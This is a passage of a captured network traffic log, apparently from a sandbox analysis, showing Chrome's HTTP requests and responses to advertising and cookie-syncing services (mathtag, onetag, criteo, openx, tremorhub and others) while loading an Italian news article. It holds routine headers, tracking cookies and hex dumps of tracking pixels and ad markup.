2024-03-28 08:51:31 UTC	952	OUT	GET /misc/img?mop_seq=1:1&mt_cb=968907&check=e37d6605-2f8b-4a00-8c65-7b6f95886a26&mop_top= HTTP/1.1 Host: pixel.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pixel.mathtag.com/sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtag Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26; mt_mop=
2024-03-28 08:51:31 UTC	481	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master ord ord-pixel-x8 config_version:"1783" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" set-cookie: mt_mop=; domain=.mathtag.com; path=/; expires=Sat, 27-Apr-2024 08:51:31 GMT; SameSite=None; Secure Expires: Thu, 28 Mar 2024 08:51:30 GMT
2024-03-28 08:51:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.4	50248	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	690	OUT	GET /match/?int_id=98&gdpr=0&gdpr_consent=&uid=3287041831475129344 HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:31 UTC	439	IN	HTTP/1.1 200 OK cache-control: no-transform, no-cache p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:49; domain=onetag-sys.com; SameSite=None; Secure; content-length: 0 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.4	50254	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	708	OUT	GET /match/?int_id=164&gdpr=0&gdpr_consent=&uid=663443d1-35cb-42a1-8bc1-50576d46032b HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:31 UTC	439	IN	HTTP/1.1 200 OK cache-control: no-transform, no-cache p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:49; domain=onetag-sys.com; SameSite=None; Secure; content-length: 0 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.4	50256	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	735	OUT	GET /match/?int_id=106&redir=1&ot_initiated=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/usync/?cb=1711615879045&gdpr=0&gdpr_consent= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:32 UTC	577	IN	HTTP/1.1 302 Found cache-control: no-transform, no-cache p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:49; domain=onetag-sys.com; SameSite=None; Secure; location: https://cm.g.doubleclick.net/pixel?google_nid=one_tag&google_hm=AAABjoRB2g7JbhggV30bBPudEUUVcljqtFm3og&gdpr=0&gdpr_consent= content-length: 0 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.4	50249	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	707	OUT	GET /match/?gdpr=0&gdpr_consent=&int_id=168&uid=OPU3668144d24c64241956e761ce5b3a0eb HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:32 UTC	439	IN	HTTP/1.1 200 OK cache-control: no-transform, no-cache p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:49; domain=onetag-sys.com; SameSite=None; Secure; content-length: 0 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.4	50125	23.22.53.123	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	812	OUT	GET /dsp/google/cookiematch/beacon?gdpr=0&gdpr_consent= HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_; ljtrtbexp=eJxlkDsSgEAIQ%2B%2BytQXE5efVHO%2Fu6NoQyxcIAc5RMQ4NRcJmyTbQUeUn7F0I7Ty57osB8YervkgNAT4luyeFQp0yivopMyexEdM8kN%2FWPupW8tadOOim9qTrBtIaQv0%3D
2024-03-28 08:51:32 UTC	522	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:31 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=sovrn&google_hm=SVpVVEFCWkhEeDlGQkJqTlJmS1dOd21f&gdpr=0 Set-Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.4	50274	74.119.119.139	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:31 UTC	719	OUT	GET /syncframe?origin=publishertagids&topUrl=bsnews.it HTTP/1.1 Host: gum.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	642	IN	HTTP/1.1 200 OK content-type: text/html; charset=utf-8 date: Thu, 28 Mar 2024 08:51:30 GMT server: Kestrel cache-control: private, max-age=3600 set-cookie: optout=0; expires=Thu, 01 Jan 1970 00:00:00 GMT; domain=.criteo.com; path=/ set-cookie: uid=0b98502c-48a9-42b1-af69-ee7920d54b5a; expires=Tue, 22 Apr 2025 08:51:31 GMT; domain=.criteo.com; path=/; secure; samesite=none transfer-encoding: chunked x-robots-tag: noindex cross-origin-resource-policy: cross-origin cross-origin-embedder-policy: require-corp server-processing-duration-in-ticks: 581222 strict-transport-security: max-age=31536000; preload; connection: close
2024-03-28 08:51:32 UTC	14625	IN	Data Raw: 33 39 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 43 4f 4e 46 49 47 5f 43 53 4d 5f 44 4f 4d 41 49 4e 5f 4e 41 4d 45 20 3d 20 22 63 73 6d 2e 76 61 2e 75 73 2e 63 72 69 74 65 6f 2e 6e 65 74 22 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 43 4f 4e 46 49 47 5f 43 53 4d 5f 52 41 54 49 4f 20 3d 20 31 30 30 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 47 55 4d 5f 44 4f 4d 41 49 4e 20 3d 20 22 67 75 6d 2e 63 72 69 74 65 6f 2e 63 6f 6d 22 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 Data Ascii: 3914<!DOCTYPE html><html><head> <script type="text/javascript"> window.CONFIG_CSM_DOMAIN_NAME = "csm.va.us.criteo.net"; window.CONFIG_CSM_RATIO = 100; window.GUM_DOMAIN = "gum.criteo.com"; </script> <script type="te

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.4	50229	3.162.125.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	969	OUT	GET /sync.html?gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&usp_consent=${US_PRIVACY}&redirect=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DNOBID%26ttl%3D720%26uid%3D541085f3c3b063fcade759fd347ed803%26visitor%3D%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: public.servenobid.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	952	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 9139 Connection: close Date: Wed, 27 Mar 2024 19:03:50 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 0 Last-Modified: Wed, 06 Mar 2024 22:22:19 GMT ETag: "38c114d82e3d811243c5081c4be05974" x-amz-server-side-encryption: AES256 Cache-Control: max-age=86400 x-amz-meta-codebuild-content-sha256: ac5da40dcf42e367b0eed52c8950b2ba8d4154c1cf2403b6ab30cdaa8eb6ec28 x-amz-version-id: null x-amz-meta-codebuild-buildarn: arn:aws:codebuild:us-east-1:559734745816:build/adserver-public-prod:ebe56737-d69c-4a07-920d-566532a562f5 x-amz-meta-codebuild-content-md5: e6f135f6e82205b45af0f1fac30dc51a Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 af08bb104c29fffb75d24691c869c256.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: A6mXKxcP5B4kEIwuDSa5LClYa-omWF4NwyaxZazFz6v9gI9gLaXouQ== Age: 49663
2024-03-28 08:51:32 UTC	9139	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 31 39 32 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 63 6f 6e 73 74 20 6f 3d 6e 28 36 36 32 29 2c 72 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 73 65 72 76 65 6e 6f 62 69 64 2e 63 6f 6d 22 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20 74 3d 77 69 6e 64 6f 77 2e 6e 6f 62 69 64 51 75 65 72 79 53 74 72 69 6e 67 2e 67 64 70 72 3f 4e 75 6d 62 65 72 28 77 69 6e 64 6f 77 2e 6e 6f 62 69 64 51 75 65 72 79 53 74 72 69 6e 67 2e 67 64 70 72 29 3a 30 2c 6e 3d 77 69 6e 64 6f 77 2e 6e 6f 62 69 64 51 75 65 72 79 53 74 72 69 6e 67 2e 67 64 Data Ascii: <html><head><link rel="icon" href="data:,"></head><body><script>(()=>{var e={192:(e,t,n)=>{const o=n(662),r="https://ads.servenobid.com",i=function(e){const t=window.nobidQueryString.gdpr?Number(window.nobidQueryString.gdpr):0,n=window.nobidQueryString.gd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.4	50251	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	802	OUT	GET /w/1.0/sd?id=537072991&val=CAESEAhGB7mgB6UMzgq-biVLnZA&google_cver=1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557
2024-03-28 08:51:32 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.4	50255	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	671	OUT	GET /match/?int_id=2&uid=LUAZWPEM-F-4532&gdpr=0 HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:32 UTC	439	IN	HTTP/1.1 200 OK cache-control: no-transform, no-cache p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:50; domain=onetag-sys.com; SameSite=None; Secure; content-length: 0 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.4	50240	192.0.78.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	498	OUT	GET /rest/v1/batch?http_envelope=1&urls[]=/me&urls[]=/sites/123231640/posts/95325/likes?chronological=true&urls[]=/sites/123231640/posts/95325/reblogs/mine HTTP/1.1 Host: public-api.wordpress.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	426	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Host-Header: WordPress.com X-hacker: Oh, Awesome: Opossum Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-ac: 2.dca _dca BYPASS Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=86400
2024-03-28 08:51:32 UTC	597	IN	Data Raw: 32 34 39 0d 0a 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 68 65 61 64 65 72 73 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 2c 22 76 61 6c 75 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 2f 6a 73 6f 6e 22 7d 5d 2c 22 62 6f 64 79 22 3a 7b 22 5c 2f 6d 65 22 3a 7b 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 65 72 72 6f 72 73 22 3a 7b 22 65 72 72 6f 72 22 3a 22 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 5f 72 65 71 75 69 72 65 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 6e 20 61 63 74 69 76 65 20 61 63 63 65 73 73 20 74 6f 6b 65 6e 20 6d 75 73 74 20 62 65 20 75 73 65 64 20 74 6f 20 71 75 65 72 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 65 20 63 75 72 72 65 6e 74 20 75 73 65 72 2e 22 7d 7d 2c 22 5c Data Ascii: 249{"code":200,"headers":[{"name":"Content-Type","value":"application\/json"}],"body":{"\/me":{"status_code":403,"errors":{"error":"authorization_required","message":"An active access token must be used to query information about the current user."}},"\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.4	50244	3.225.110.40	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	718	OUT	GET /ad/chnl?adCode=cpu32-8qlre&playerWidth=600&playerHeight=450&srcPageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&schain=1.0,1!sunmedia.tv,cf5f115c-45c0-42e6-88f5-1cc147412988,1,,,&gdpr=0&gdpr_consent=1&c1=T1,SM&_tur=T HTTP/1.1 Host: cpu32-zs9v8.ads.tremorhub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
2024-03-28 08:51:32 UTC	674	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: text/xml;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' Set-Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; Domain=.tremorhub.com; Expires=Fri, 28-Mar-2025 14:39:52 GMT; Path=/; Secure; SameSite=None Set-Cookie: tvv=2; Domain=.tremorhub.com; Expires=Fri, 28-Mar-2025 14:39:52 GMT; Path=/; Secure; SameSite=None Set-Cookie: tvrg_61036=1; Expires=Thu, 28-Mar-2024 08:51:31 GMT; Secure; SameSite=None x-tremorvideo-status: NO_AD Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache
2024-03-28 08:51:32 UTC	1206	IN	Data Raw: 34 61 66 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 22 33 2e 30 22 20 78 6d 6c 6e 73 3a 74 3d 22 68 74 74 70 3a 2f 2f 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 73 70 22 20 74 3a 73 74 61 74 75 73 3d 22 4e 4f 5f 41 44 22 3e 3c 41 64 20 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 3e 54 72 65 6d 6f 72 20 53 53 50 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 79 6e 63 6e 6f 61 64 3f 72 69 64 3d 65 66 37 38 39 32 33 30 63 38 30 63 34 30 34 32 39 35 62 61 39 35 34 31 38 31 35 Data Ascii: 4af<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=ef789230c80c404295ba9541815
2024-03-28 08:51:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.4	50234	18.160.24.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	1667	OUT	GET /e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=0&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22div-gpt-ad-BSNEWS-DSK-Spalla-dx-300X600-ATF%22%2C%22s%22%3A%5B%22300x600%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%